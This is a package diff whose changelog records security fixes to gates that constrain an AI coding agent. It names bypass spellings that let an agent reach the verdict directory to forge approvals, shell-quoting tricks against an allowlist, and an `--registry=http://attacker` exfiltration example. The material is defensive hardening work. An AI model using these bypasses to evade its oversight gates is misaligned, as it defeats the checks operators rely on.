fixtures. An unregistered exported set in the runtime layer reddens the guard, and the scan carries fixture-tree positive controls so it cannot rot into a no-op unnoticed. No runtime matching path changed. **What this does NOT catch, named verbatim in the module's LIMITS section rather than implied:** three independent adversarial review passes each found a way to register a set the registry accepts and should not, and the fix rounds were stopped after the third on a pre-declared criterion rather than adding a fourth check. Open and measured end to end: a covers registration declaring only `documented-uncovered` gated tokens (`env`, `unset`, `tee`, `cp` — four of the eight) passes every check with an entirely honest, live-coupled registration, which is precisely the `dbc6d303` shape; a registration's `has()` predicate is never cross-checked against the constant its `id`/`module` names, and the `must-not-contain` arm — where that shape lives — has no predicate check at all; `members` may declare coverage the predicate rejects, and `members: []` typechecks; a registration may name a module or id no exported constant matches. The redundancy check additionally forbids legitimate defence-in-depth double coverage, and five `new Set([...])` spellings (`as const`, a comment between `(` and `[`, backtick-quoted elements, union-literal annotations, a trailing comma) escape the scan by design rather than by oversight. Treat the registry as a tripwire for the accidental case, never as a boundary against a determined one; the registration surface is being redesigned to derive from the constant instead of accepting a self-description (follow-ups `209e6dc4`, `26c1d33e`).
32
+
33
+ ### Changed
34
+
35
+ - **All agent-facing references to the grounding MCP tool prefix renamed from `mcp__agent-grounding__*` to `mcp__grounding-mcp__*`, matching the canonical registration name `grounding-mcp` that 0.42.0's doctor convention checks** (task `ca9b0026`). Since 0.42.0 stopped emitting `mcpServers` into `settings.json`, the documented registration path is `claude mcp add-json --scope user grounding-mcp ...`, and a session registered that way exposes its tools as `mcp__grounding-mcp__*` — but every `verb:`/`producers[].example`/`ux.run` line in `FULL_TEMPLATE` and the profiles, plus the solution-acceptance deny/guidance strings, still named the legacy `mcp__agent-grounding__*` prefix from the pre-0.42 project-scope registration, so a canonically-registered session was told to call a tool name it does not have. All 92 references across `src/`, `tests/`, and `docs/` renamed in one sweep. This is presentational only, verified before the change: no PreToolUse matcher, hook, or engine path keys on the tool NAME (the ledger gates read ledger content, which both registrations write identically, since both names spawn the same `grounding-mcp` binary) — so a still-legacy-registered session keeps satisfying every gate after this change, and the only behavioural effect is that guidance now names the tool a doctor-green session actually has. **What this does NOT rename:** references to `agent-grounding` as the REPO/package name in comments and docs, the `VERDICT_DIR_TAIL` filesystem path (`agent-grounding/solution-verdicts` — an on-disk state path, renaming it would orphan existing verdicts), uninstall's recognition of the legacy registration name (`name === "agent-grounding"` in `src/cli/uninstall/index.ts` — needed precisely to clean up pre-0.42 installs), and historical CHANGELOG entries. Existing tests updated in place (same sweep); the FULL_TEMPLATE surface was already pinned (the parity and composer tests now assert the new spelling), and a new repo-wide guard test (`tests/no-legacy-mcp-prefix.test.ts`) asserts the literal legacy prefix does not reappear anywhere under `src/` — added after review measured that a partial revert of the non-template surfaces (profiles, hook guidance strings) would otherwise ship green. Operator action (corrected in review: `harness apply` does NOT do this — it never rewrites `harness.yaml`, and the deny-time guidance is rendered straight from the loaded manifest): the pack-hook messages update on package upgrade with no operator step, but an EXISTING manifest keeps the legacy `verb:`/`producers[].example`/`ux.run` spellings until the operator re-runs `harness init` or edits `harness.yaml` by hand; sessions still on the legacy project-scope registration should re-register per `harness doctor` and drop the legacy entry.
36
+
37
+ ## [0.42.0] - 2026-07-27
38
+
39
+ ### Security
40
+
41
+ - **The Risk Classifier's and understanding-gate's shared built-in read-only floor (`src/runtime/read-only-bash.ts`) now recognizes `cd` and a curated npm read-only subcommand set, closing a gap that let a prod-scoped `risk.severity_at_least` policy block plain navigation and dependency-tree reads on a production-resolved session — with two adjacent security fixes surfaced by adversarial review before this shipped** (task `fb67b402`). `cd` (pure navigation form only — any chained or redirected spelling still forfeits the classification via the existing shell-metacharacter guard) and `npm ls` / `list`, `view` / `info` / `show`, `outdated`, `why` / `explain`, `ping`, and `npm audit` (never `npm audit fix`) are now floored `low`-severity instead of unclassified, the same treatment `git status` / `git diff` already got. This is a curated POSITIVE allowlist, not a denylist: an npm subcommand this floor has not reasoned about — `install`, `ci`, `publish`, `update`, `version`, or a future verb — stays unclassified rather than assumed safe. This same shared classifier also feeds the understanding-gate's PreToolUse blocker (`isReadOnlyBashPipeline`), which now also passes `cd` / `npm audit` / `npm ls` without an approved Understanding Report — a deliberate widening, not incidental; see `docs/policy-packs/understanding-before-execution.md` for why, and its consciously-accepted pre-report network-read residual (already true of `git fetch` / `gh ... view`).
42
+ - **Fixed before ship (HIGH, adversarial review, round 1): the solution-acceptance anti-forgery write-guard's `cd`-into-verdict-dir block only closed the LITERAL-path spelling.** `cd`'s general read-only classification meant `src/cli/pack/hook-solution-acceptance-writeguard.ts`'s `evaluateWriteGuard` needed its own defense-in-depth pre-check so a bare `cd <verdict-dir>` — the setup half of a two-Bash-call forge — stays blocked (the actual forging write is separately closed by the pre-existing cwd-inside-dir check on the following call, which is unaffected and remains the load-bearing defense). The FIRST version of that pre-check only caught the literal, unquoted path spelling: `path.resolve` cannot literally evaluate a quoted (`cd "$DIR"`, `cd '$DIR'`), env-var/brace (`cd $SOLUTION_VERDICT_DIR`, `cd $HOME/...`, `cd ${HOME}/...`), tilde (`cd ~/...`), or glob (`cd .../solution-ver*`) spelling, so each of those seven forms silently took `cd`'s unconditional read-only fast path instead of reaching the existing text-reference check that already recognized every one of those spellings for any OTHER (non-cd) Bash command. Fixed: a `cd` target containing `$ ~ * ? [ " '` now skips the read-only fast path entirely and falls through to the same `bashReferencesVerdictDir` check, closing all seven spellings without reverting `cd`'s general classification.
43
+ - **Fixed before ship (MEDIUM, adversarial review, round 1): `npm audit "fix"` (and other shell-quoted spellings) floored as read-only.** The original `npm audit` guard was a token-equality denylist (`!tokens.slice(2).includes("fix")`) — a shell-quoting bypass, since npm's own arg parsing strips quoting before npm ever sees the argument, so `npm audit "fix"`, `'fix'`, `f''ix`, `fi"x"`, and `$'fix'` all run the mutating `npm audit fix` path in npm 11.17.0 while none of the raw, un-shell-evaluated tokens equals the literal string `fix`. Fixed with a POSITIVE shape instead, matching the module's allowlist-not-denylist contract: every token after `audit` must either start with `-` (a flag) or be the literal `signatures`, or the whole invocation forfeits the floor — closing every quoting variant and any future `npm audit <verb>` in one rule, at the acceptable, conservative cost of failing closed on any separated flag value (e.g. `npm audit --audit-level high`, `npm audit --omit dev` — use the glued `--flag=value` form to stay floored). Also added, same round: `--registry` / `--userconfig` / `--globalconfig` on ANY npm subcommand forfeits the floor (`npm audit --registry=http://attacker` would otherwise submit the full dependency manifest to an operator-unverified host); `info`, `show` (both `view` aliases) and `explain` (`why`'s formal name) joined the npm allowlist; other npm aliases (`la`, `ll`, `v`) are deliberately NOT floored, only canonical spellings.
44
+ - **Fixed before ship (HIGH, adversarial review, round 2): the round-1 `cd` fix's unresolvable-character set missed brace expansion, a ninth live spelling.** `CD_TARGET_UNRESOLVABLE_CHARS` had no `{`, `}`, or `,`, so `path.resolve` treated `cd <parent>/{solution-verdicts,x}` as a literal (non-existent) path segment — neither inside the dir nor flagged unresolvable — and the read-only fast path fired even though bash (verified against 3.2.57) expands the brace and navigates INTO the verdict dir, ignoring the extra alternative; the `-P` / `--` prefixed and cwd-relative forms were equally affected. Fixed in two parts: (1) `CD_TARGET_UNRESOLVABLE_CHARS` now includes `{ } ,`, so any brace-expansion spelling falls through to the reference check same as the other six spellings; (2) `bashReferencesVerdictDir`'s glob-metacharacter test (`src/policy-packs/builtin/solution-acceptance-runtime.ts`) widened from `/[*?[]/` to `/[*?[{]/` so the leaf-word fallback also catches a brace that SPLITS the leaf itself (`solution-verdict{s,}`), a narrower pre-existing hole (not `cd`-specific, not introduced by round 1) the same widening closes. Also this round: the per-scope npm registry override `--@scope:registry=URL` (npm resolves a scoped package's registry from `@scope:registry` before the plain `registry` config, so it is an equally live exfiltration vector) now forfeits the npm floor alongside the unscoped form; `cdTargetArgument` now strips one layer of surrounding quotes before either check runs, so `cd "<dir>-decoy"` behaves like the unquoted `cd <dir>-decoy` (both correctly NOT blocked) instead of being spelling-dependent; a positive test pins `npm audit -fix` (single dash) as deliberately floored (verified npm behavior: `Unknown cli config "--fix"`, report only); and the module header / relevant docstrings were reworded from enumerating expansions in a way that read as exhaustive to stating explicitly what they DO cover and naming the still-open residual (backslash-escaping a leaf character defeats the textual match under both `cd` and non-`cd` commands alike — pre-existing, needs shell-unescaping in `bashReferencesVerdictDir` to close, out of this task's scope).
45
+ - New tests: `tests/runtime/read-only-bash.test.ts`, `tests/runtime/risk-classifier.test.ts`, `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts` (round 1: 7-spelling + discriminating-pair + near-miss cases; round 2: 6 brace-form negatives + 1 split-leaf negative + the quote-stripped decoy pin). Docs: `docs/risk-gate.md`, `docs/policy-packs/understanding-before-execution.md`.
46
+ - **`fast-uri` HIGH advisory (GHSA-v2hh-gcrm-f6hx) closed via a lockfile refresh; `@lannguyensi/understanding-gate` ends this window pinned to `^0.4.9`, after a same-day detour through an exact `0.4.5` pin** (PRs #366, #367). The advisory (host confusion via a literal backslash authority delimiter, fast-uri 3.0.0-3.1.3) reached the harness tree via `understanding-gate -> ajv -> fast-uri`; ajv already declared `fast-uri: ^3.0.1`, which permits the fixed 3.1.4, so refreshing the lockfile pin closed the advisory — no `package.json` change was needed for the advisory itself. Bumping `understanding-gate` itself (0.4.5 -> ^0.4.7, resolving 0.4.8) was evaluated and REJECTED on evidence: it shares the same `ajv: ^8.12.0` constraint (doesn't touch the advisory) and breaks `tests/cli/approve-understanding.test.ts` (persisted `taskId` comes back as the `sessionId`; bisected 0.4.6 green, 0.4.7/0.4.8 red). PR #366 pinned `understanding-gate` to an EXACT `0.4.5` to hold that line through `npm install`/`npm update`, not just `npm ci` (`~0.4.5` still admits the broken 0.4.7). PR #367 lifted the pin once `understanding-gate` 0.4.9 shipped: it restores the documented gap-fill contract for `defaults.taskId` (agent-grounding PR #153) with its own regression test, so the consumer suite is no longer the only detector — verified via `tests/cli/approve-understanding.test.ts` 70/70 against 0.4.9 plus a full preflight run.
47
+ - **`postcss` HIGH advisory (GHSA-r28c-9q8g-f849) closed via `npm audit fix`** (PR #374). `postcss` <= 8.5.17 is vulnerable to path traversal via `sourceMappingURL` auto-loading, disclosing arbitrary `.map` files; it reaches this repo transitively as a dev dependency only (`vitest 4.1.8 -> vite 8.0.16 -> postcss 8.5.15`). Closed non-breaking: `postcss` 8.5.15 -> 8.5.23 and its `nanoid` dependency 3.3.12 -> 3.3.16, no `package.json` change and no override introduced. `npm audit` now reports 0 vulnerabilities; this also unblocked this repo's own `harness preflight`, whose npm-audit check had been failing on exactly this advisory.
48
+
49
+ ### Added
50
+
51
+ - **Third `SessionStart` companion: a toolchain-parity snapshot, advisory-only, compared against peer machines** (task `5427fe54`, PR #368). Alongside the existing preflight and branch-check `SessionStart` hooks, it writes this machine's toolchain snapshot (PATH-resolved node version, npm globals, OW-Kit manifest version, MCP server names) to the machine-state directory synced by `agent-memory-sync`, compares the live local state against every peer snapshot found there, and reports drift as warn lines plus a `toolchain-parity:ok|drift:<n>` ledger fact. Disabled by default behind a new optional `toolchain_parity` manifest block; every failure path logs and exits 0 rather than blocking the session. Both new spawns are injectable and registered in the hermetic spawn guard. A same-PR review note documented the constraint that profile names must stay unique after filename sanitization (`[^a-zA-Z0-9._-]` -> `-`), naming plain names like `mac-mini`/`macbook` as safe — this is a docs-only clarification, not a code fix: `sanitizeProfileName` gained no collision guard (LOW-1). `check:duplication`'s `MAX_CLONES` pin moved 86 -> 95: the CLI option-parsing wiring joins the existing clone cluster shared verbatim with the sibling hooks (justified in `scripts/check-duplication.mjs`). New tests: 32 hermetic tests covering ok, drift, missing/corrupt peers, unconfigured, and spawn-degradation cases. Docs: `docs/CLI.md`, `docs/examples/full-manifest.expected.yaml`.
52
+ - **New opt-in `post-merge-gate` policy pack: denies mutating git/gh work on a branch whose tip has already been merged** (task `d368e30d`, PR #369). A `PostToolUse` producer records the merged branch tip only on a confirmed `gh pr merge` success (`tool_output.exit_code === 0`, a defensive payload read, the trusted ledger writer), and a `PreToolUse` blocker denies a curated git/gh mutation list once the current branch tip exactly matches a recorded merged tip. An escape allowlist (`git switch`/`checkout`/`pull`/`fetch`/`branch -d`/`-D`/`stash list`/`show`, harness verbs) is checked first, unconditionally, before any manifest or ledger access, and the gate fails open with a warning when the ledger is unavailable. Exact-sha matching keeps it squash-safe and avoids false positives on post-merge commits or recycled branch names. `resolveOriginHeadBase`/`resolveCommonDir` moved to the new `src/runtime/git-context.ts` for reuse; MCP-side merges stay a documented gap. Ships disabled (`FULL_TEMPLATE enabled: false`). A same-PR review round named two accepted residuals in `docs/policy-packs/post-merge-gate.md`: a curated mutation chained with an escape verb is allowed whole (the same accepted class as the existing eval/heredoc gap), and a hand-written merged fact matching the current tip denies curated mutations on that branch, recoverable via any escape or a new commit. `check:duplication`'s `MAX_CLONES` pin moved 95 -> 102 (sibling-pack wiring shape, no cross-verb extraction possible).
53
+ - **Fixed the same day (PR #370): the documented `tool_output.exit_code` producer contract never actually fires on real Claude Code.** Live verification on Claude Code 2.1.218 (a real hook fire against an isolated settings probe) showed the `PostToolUse` payload is `tool_response` — `{stdout, stderr, interrupted, isImage, noOutputExpected}`, no exit code at all — so the producer shipped in PR #369 was silently inert against the actual runtime. Contract A (`tool_output.exit_code === 0`) stays authoritative and short-circuits when present; a new Contract B confirms via `tool_response` with `interrupted: false` and `gh`'s past-tense success line, matching both the real glued `owner/repo#N` shape (source-verified against `gh` v2.94.0's `merge.go:369-376`, which writes success to stderr via `infof`) and the bare `#N` doc shape. Auto-merge-pending and already-merged warnings are pinned as negatives against `gh`'s exact wording. The real 2.1.218 payload is committed as a drift-guard fixture (`tests/fixtures/post-merge-gate/real-posttooluse-payload-2.1.218.json`).
54
+ - New tests: `tests/cli/pack-hook-post-merge-gate.test.ts`, `tests/cli/pack-hook-post-merge-gate-record.test.ts`, `tests/policy-packs/post-merge-gate-expand.test.ts`, `tests/policy-packs/post-merge-gate-runtime.test.ts` (escape-first ordering, chained-escape and inverted-trust-boundary pins, both payload contracts, the fixture-driven drift guard). Docs: `docs/policy-packs/post-merge-gate.md`.
55
+ - **CI now fails fast on a committed `.only` under `tests/`** (task `b4845053`, follow-up of task `052f9d5b` review round 4, PR #372). `vitest` with `CI=true` (`allowOnly=false`) reports an unexpected `.only` but still exits 0 for some file shapes, and a `describe.only` whose selected tests are all skipped disables both layers of the hermetic-spawn backstop at once. The new `scripts/check-no-only.mjs` parses `tests/**/*.{ts,mts,cts}` with the TypeScript compiler API and flags `.only` property accesses rooted at a bare `describe`/`it`/`test` identifier, so chained modifiers and `.each` variants are caught while strings, comments, and test names structurally cannot trip it. Wired as `check:no-only`, a fail-fast CI step before Build, ~0.9s for the whole test tree. A same-PR review round added the vitest options-object form (`it(name, { only: true }, fn)`, a documented way to activate only-mode that defeated the property-access gate the same way) and hardened the check's CLI with an `isDirectRun` guard and in-process tests (exit code + `file:line` output); accepted known bypasses (bracket/computed access, an aliased holder, a renamed import, `bench.only`, and the options form reached through a chained call) are documented in the script itself.
56
+ - **`harness preflight`'s `SessionStart` producer now persists the full failing run to a log file, and the not-ready message names which checks failed** (task `31fbf856`, PR #356). On a real `ready !== true` outcome, the producer writes the complete `preflight run --json` payload (pretty-printed) to `~/.harness/logs/preflight-<repo>-<timestamp>.json` (an injectable `logDir` seam) and keeps only the last 20 `preflight-*.json` files per rotation, leaving any foreign files in that directory untouched. The `SessionStart` fail message itself now surfaces up to 3 detail lines per failing check plus a trailing `; log: <path>` pointer, instead of just the bare check name. The `ready:true` and spawn-error branches are unchanged, and every new file-IO path degrades to a note on failure rather than breaking the `SessionStart` `blocking:false` / exit-0 contract. A companion root-fix to `agent-preflight`'s own output capping is tracked separately as task `6691dd56`. New tests: `tests/cli/session-start/preflight.test.ts`.
57
+ - **New `harness record` CLI verbs write gate evidence directly into the session ledger for `review`, `review-subagent`, and `dogfood`** (agent-tasks task `27ba3570`, PR #357). Each verb writes one multi-tag fact, mirroring the existing preflight producer: `review` writes `review:<pr>` + `review:<branch>` + `review:<base>`; `review-subagent` writes `review-subagent:<task>` + `review-subagent:<branch>` + a verdict tag; `dogfood` writes `dogfood:<session>`. Branch resolution shares `resolveGitContext` with the gates that consume these tags; base resolution tries `--base`, then an `origin/HEAD` filesystem fallback, then omits loudly rather than guessing — a review follow-up made that fallback resolve `origin/HEAD` through a linked worktree's commondir file too, so a worktree checkout no longer silently degrades to omit-with-warning. The manifest -> `grounding-mcp` ledger-writer wiring was extracted into the new `src/runtime/ledger-writer.ts`, shared unchanged with `session-start`. The evidence-gate `ux.run` hints across all four manifest sources (`templates.ts`, `composer.ts`, `profiles.ts`, `docs/examples/full-manifest.yaml`) now point at the `record` verbs instead of the old hand-written instructions. An invalid `--ledger-timeout` now warns instead of silently falling back. New tests: `tests/cli/record/record.test.ts`, `tests/cli/record/record-alias.test.ts`, `tests/e2e/record-roundtrip.test.ts` (real record runners feeding the real intercept path, both merge surfaces, empty-ledger deny counter-checks). Docs: `docs/CLI.md` (tag-semantics table, merge-surface trap, `--base` guidance), `docs/okf/evidence-ledger-trust-boundary.md` (re-verification pass).
58
+ - **`harness uninstall --apply` (and `--restore-from`) now deregisters harness-owned MCP servers from the live `claude mcp` registry, not just the `settings.json` block** (task `d6086441`, PR #361). It calls `claude mcp remove --scope user` for harness-owned names (`DEFAULT_OWNED_MCP_SERVERS` union the manifest's `tools.mcp[]` names) that are actually registered in the live user-scope registry — read-only checked via `readTopLevelMcpServers` first, never a blind iteration — and foreign registrations are never touched. `--dry-run` lists the planned removals with zero exec calls. `cli-missing` and per-name failures never hard-fail: outcomes land in inventory warnings with copy-pasteable `manualRemoveLines` fallback commands, and the result distinguishes a partial success (settings.json cleaned, registry removal failed or skipped) from a complete one; a registry read error removes nothing. `uninstall()` is now async; its only in-repo caller (the CLI command) awaits it and prints the new registry fields. A review-round fix seatbelted the registry axis the same way `stateDir` already is: an explicit `homeDir` or an injected `mcpExec` each neutralize the risk on their own, and absent both, only `HARNESS_ALLOW_REAL_GENERATED_DIR=1` unlocks it (set by `src/cli/main.ts` for the real binary, so production behavior is unchanged) — a blocked run skips the axis entirely, including the read, and reports an empty list plus a warning. New tests: `tests/cli/uninstall/uninstall.test.ts` (seatbelt blocked/env-unlocked/homeDir-unlocked cases, and a `--restore-from` case asserting the exact `claude mcp remove` argv). Docs: `docs/examples/pandora-bootstrap.md` (rollback steps and the manual fallback).
59
+
60
+ ### Fixed
61
+
62
+ - **`harness init`'s MCP-server registration now writes to the surface Claude Code actually reads, instead of a dead `settings.json` block** (task `init-mcp-wiring-claude-code`). Every prior `harness init --interactive` run projected `tools.mcp[]` into user-level `~/.claude/settings.json`'s `mcpServers` key; Claude Code does not consume that key for user-scope registration and never has — the effective registry is `~/.claude.json`, previously reachable only by hand-running `claude mcp add-json`. The wizard now registers every enabled `tools.mcp[]` server there directly, via `claude mcp add-json --scope user` (new `ensureMcpServers` in `src/io/claude-mcp.ts`, a thin injectable-exec wrapper around `claude mcp add-json/remove/get/list`), right after the hooks apply step, then migrates away the dead settings.json block — but only once registration has actually succeeded, so a missing `claude` CLI leaves existing state untouched and prints copy-pasteable `claude mcp add-json` commands instead of failing or silently doing nothing. `generate-settings.ts` no longer projects `mcpServers` into settings.json at all (the translated spec map is exposed via `GenerateSettingsResult.mcpServers` for the new registration path instead). `harness doctor` gained a "Claude Code MCP Registration" section that re-verifies the live registry via `claude mcp list` and flags a leftover dead settings.json block. **Known limitations, tracked as follow-ups, not fixed by this task:** no removal GC — toggling a `tools.mcp[]` entry to `enabled: false` (or deleting it from the manifest) does not deregister an already-registered server (since closed in this same Unreleased batch by task `363a6de0`, see below); no `uninstall` symmetry — `harness uninstall` still only cleans the settings.json block, not the live `claude mcp` registration it now creates (since closed by task `d6086441`, see the Added section above); `harness init --probe`'s detection and `harness adopt`'s MCP drift check still read the (now largely dead) settings.json block rather than the live registry (since closed in this same 0.42.0 batch by task `83d8d03a`, see below). New tests: `tests/io/claude-mcp.test.ts` (43 cases), plus updates to `tests/cli/init-interactive.test.ts`, `tests/cli/apply/apply.test.ts`, `tests/cli/apply/generate-settings.test.ts`, `tests/cli/adopt.test.ts`, `tests/cli/doctor-claude-mcp.test.ts` (new), and `tests/cli/doctor.test.ts`. Docs: `docs/ARCHITECTURE.md`, `docs/examples/pandora-bootstrap.md`, `README.md`, `docs/okf/debug-verb-selection.md`.
63
+ - **`harness init --interactive`'s claude-code wire-now step now deregisters a `tools.mcp[]` server that was removed or disabled from the manifest, closing the "no removal GC" gap the `init-mcp-wiring-claude-code` entry above tracked as a known limitation** (task `363a6de0`). Every ensure run used to only add/replace `desired` servers, never remove one that fell out of `desired` — an operator who deleted or disabled a `tools.mcp[]` entry had to run `claude mcp remove` by hand. `ensureMcpServers` (`src/io/claude-mcp.ts`) gains an opt-in `gc: { ownedNames }` option: after reconciling `desired`, it additionally `claude mcp remove`s any name in `ownedNames` that is still registered but no longer in `desired`; omitting `gc` leaves behavior exactly as before. **Ownership criterion (read this before relying on it):** the wizard passes `ownedNames` = the CURRENT manifest's `tools.mcp[]` names UNION the `tools.mcp[]` names from the `.last-apply` manifest snapshot captured **before** this run's `apply()` executes (`apply()` re-stamps `.last-apply` with the just-edited manifest whenever anything changed — including an edit that also touches a hook — so capturing the snapshot first is what lets a combined "remove this MCP + change this hook" edit still GC the dropped server correctly). The uninstall module's `DEFAULT_OWNED_MCP_SERVERS` list (`agent-tasks`, `codebase-oracle`, `grounding-mcp`) is **deliberately excluded** from GC eligibility: a server sharing one of those names that the operator registered themselves — outside of, or before, any harness manifest on this machine — is never touched, because "shares a default name" is not the same claim as "this install's manifest once had it." A manifest entry that's merely drifted (registered content differs from the manifest spec) but is STILL present in `desired` is never a GC candidate either, regardless of ownership — the existing add/replace path re-syncs it instead. No snapshot available (fresh install, or a corrupt/pre-snapshot `.last-apply`) degrades conservatively to manifest-only ownership, never a guess. A repeat run with no manifest change makes zero additional `claude mcp remove` calls (same idempotence bar as the add/replace path); a `claude` CLI that's missing, times out, or the registry being unreadable are all reported as a warning with copy-pasteable `claude mcp remove --scope user <name>` fallback commands (new `manualRemoveLines` in `src/io/claude-mcp.ts`), never a hard failure. New tests: 9 cases added to `tests/io/claude-mcp.test.ts` (7 for the `gc` option — remove branch with exact commands, ownership boundary, still-desired/drifted-content protection, idempotence, registry-read-error, cli-missing, gc-omitted-is-unchanged — plus 2 for `manualRemoveLines`), plus 5 new wizard-level tests in `tests/cli/init-interactive.test.ts` (the `.last-apply` snapshot union, the conservative no-snapshot fallback, the `DEFAULT_OWNED_MCP_SERVERS`-exclusion guard across a profile switch, an apply-succeeds MCP-only edit, and a combined MCP-removal + new-pack/hook edit). Docs: `docs/ARCHITECTURE.md`.
64
+ - **`persistStdinReport`'s parse-error log now carries `malformedSections`; the schema hint spells out the `(list)` rule** (task `7e29e5d7`, externalRef `be98cd96:followup-harness-log-field`, follow-up to agent-grounding PR #154, PR #373). `understanding-gate`'s `ParseError` grew an optional `malformedSections` field (a `(list)` section is present but its body is prose); `persistStdinReport` now carries it into the parse-error log with a defensive `?? []` default, harmless against the pinned 0.4.x line. `renderReportSchemaHint` now states explicitly that `(list)` sections need markdown list items (`'- '` or `'1.'`) and that prose bodies are rejected — the stumbling block of the 2026-07-22 live incident. New tests: `tests/cli/approve-stdin-report.test.ts`, `tests/cli/pack-understanding-report-schema-hint.test.ts`.
65
+ - **`harness adopt`'s MCP drift check and `harness init --probe`'s team/full detection now read the effective Claude Code user-scope registry instead of the dead `settings.json` block** (task `83d8d03a`, PR #358, closes a known limitation the `init-mcp-wiring-claude-code` entry above named). Both consumers now share the exported `readTopLevelMcpServers` primitive to read the live, top-level `mcpServers` block in `~/.claude.json` (`CLAUDE_CONFIG_DIR`-aware) — no new writer on `~/.claude.json` and no `claude` CLI spawn in either path. The dead `settings.json` block is still detected, but surfaced only as a cleanup warning, never mistaken for drift. `AdoptResult` gains `deadSettingsMcpNames` and `registryReadError`; `detect` gains `mcpRegistryParseError` and drops the now-dead `settingsParseError` field. New tests: updates to `tests/cli/adopt.test.ts`, `tests/cli/init-detect.test.ts`, `tests/cli/init-interactive.test.ts`, `tests/cli/program.test.ts`.
66
+ - **All 8 OKF knowledge-bundle docs were re-verified against current sources, with several corrections substantive rather than just line-number drift** (PR #353, task `93c004a6`, first upkeep sweep after the warn-only staleness watch went live).
67
+
10
68
  ## [0.41.0] - 2026-07-16
11
69
 
12
70
  ### Security
package/README.md CHANGED
@@ -144,6 +144,15 @@ profile (`solo` / `team` / `full` / `custom`) and writes a starting
144
144
  `harness.yaml`. Ctrl-C aborts cleanly. Walkthrough +
145
145
  limitations: [`docs/init-interactive.md`](docs/init-interactive.md).
146
146
 
147
+ Every enabled `tools.mcp[]` server is then registered with Claude
148
+ Code via `claude mcp add-json --scope user` — the surface Claude Code
149
+ actually reads for user-scope MCP servers; harness itself never
150
+ writes `~/.claude.json`. This step requires the `claude` CLI on
151
+ `$PATH`; if it's missing, the wizard warns and prints the equivalent
152
+ `claude mcp add-json` commands to run by hand instead of failing.
153
+ `harness doctor` includes a "Claude Code MCP Registration" section
154
+ that re-verifies the live registration via `claude mcp list`.
155
+
147
156
  ### Profiles at a glance
148
157
 
149
158
  | Profile | External accounts / tools required | Best for |
@@ -60,6 +60,21 @@ export interface SettingsRootWithMcp extends SettingsRoot {
60
60
  mcpServers?: Record<string, SettingsMcpSpec>;
61
61
  }
62
62
  export declare function parseSettingsMcpServers(raw: unknown): DerivedMcp[];
63
+ /**
64
+ * Project the effective Claude Code user-scope MCP registry — the
65
+ * top-level `mcpServers` map of `~/.claude.json` /
66
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
67
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
68
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
69
+ * settings.json block, so `computeMcpDrift` can diff either source
70
+ * against the manifest projection uniformly.
71
+ *
72
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
73
+ * regardless of the `<file>` CLI argument — settings.json's own
74
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
75
+ * dead at runtime and is surfaced only as a warning, never as drift.
76
+ */
77
+ export declare function projectRegistryMcpServers(servers: Record<string, unknown>): DerivedMcp[];
63
78
  export declare function manifestMcpProjection(manifest: Manifest, homeDir?: string): DerivedMcp[];
64
79
  export type McpDriftReason = "new" | "modified";
65
80
  export interface McpDriftEntry {
@@ -99,14 +99,16 @@ export function synthesizeName(d, taken) {
99
99
  function isRecord(x) {
100
100
  return typeof x === "object" && x !== null && !Array.isArray(x);
101
101
  }
102
- export function parseSettingsMcpServers(raw) {
103
- if (!isRecord(raw))
104
- return [];
105
- const root = raw;
106
- if (!isRecord(root.mcpServers))
107
- return [];
102
+ /**
103
+ * Shared per-entry projection: a raw `{ name -> spec }` map (settings.json's
104
+ * `mcpServers` block, or the registry's top-level `mcpServers` key) into the
105
+ * flat `DerivedMcp[]` shape both `parseSettingsMcpServers` (dead-block
106
+ * warning, task 83d8d03a) and `projectRegistryMcpServers` (the actual
107
+ * drift source, D-101) need identically.
108
+ */
109
+ function projectMcpServersRecord(entries) {
108
110
  const out = [];
109
- for (const [name, specRaw] of Object.entries(root.mcpServers)) {
111
+ for (const [name, specRaw] of Object.entries(entries)) {
110
112
  if (!isRecord(specRaw))
111
113
  continue;
112
114
  const spec = specRaw;
@@ -130,6 +132,31 @@ export function parseSettingsMcpServers(raw) {
130
132
  }
131
133
  return out;
132
134
  }
135
+ export function parseSettingsMcpServers(raw) {
136
+ if (!isRecord(raw))
137
+ return [];
138
+ const root = raw;
139
+ if (!isRecord(root.mcpServers))
140
+ return [];
141
+ return projectMcpServersRecord(root.mcpServers);
142
+ }
143
+ /**
144
+ * Project the effective Claude Code user-scope MCP registry — the
145
+ * top-level `mcpServers` map of `~/.claude.json` /
146
+ * `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
147
+ * `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
148
+ * `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
149
+ * settings.json block, so `computeMcpDrift` can diff either source
150
+ * against the manifest projection uniformly.
151
+ *
152
+ * D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
153
+ * regardless of the `<file>` CLI argument — settings.json's own
154
+ * `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
155
+ * dead at runtime and is surfaced only as a warning, never as drift.
156
+ */
157
+ export function projectRegistryMcpServers(servers) {
158
+ return projectMcpServersRecord(servers);
159
+ }
133
160
  export function manifestMcpProjection(manifest, homeDir) {
134
161
  const out = manifest.tools.mcp.map(toDerivedMcp);
135
162
  // Mirror apply's grounding projection (generate-settings.ts,
@@ -1 +1 @@
1
- {"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"AACA,OAAO,EACL,sBAAsB,EACtB,yBAAyB,EACzB,uBAAuB,GACxB,MAAM,+BAA+B,CAAC;AAEvC,MAAM,YAAY,GAAG,IAAI,GAAG,CAAC;IAC3B,cAAc;IACd,kBAAkB;IAClB,YAAY;IACZ,aAAa;IACb,MAAM;IAC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AE,GAAG,EAAE,CAAC,CAAC,CAAE,CAAC;QAClB,MAAM,EAAE,GAAG,EAAE,CAAC,CAAC,CAAE,CAAC;QAClB,IAAI,EAAE,KAAK,EAAE;YAAE,OAAO,KAAK,CAAC;QAC5B,IAAI,IAAI,CAAC,EAAE,CAAC,KAAK,IAAI,CAAC,EAAE,CAAC;YAAE,OAAO,KAAK,CAAC;IAC1C,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC"}
@@ -11,6 +11,21 @@ export interface AdoptOptions {
11
11
  * exercised hermetically.
12
12
  */
13
13
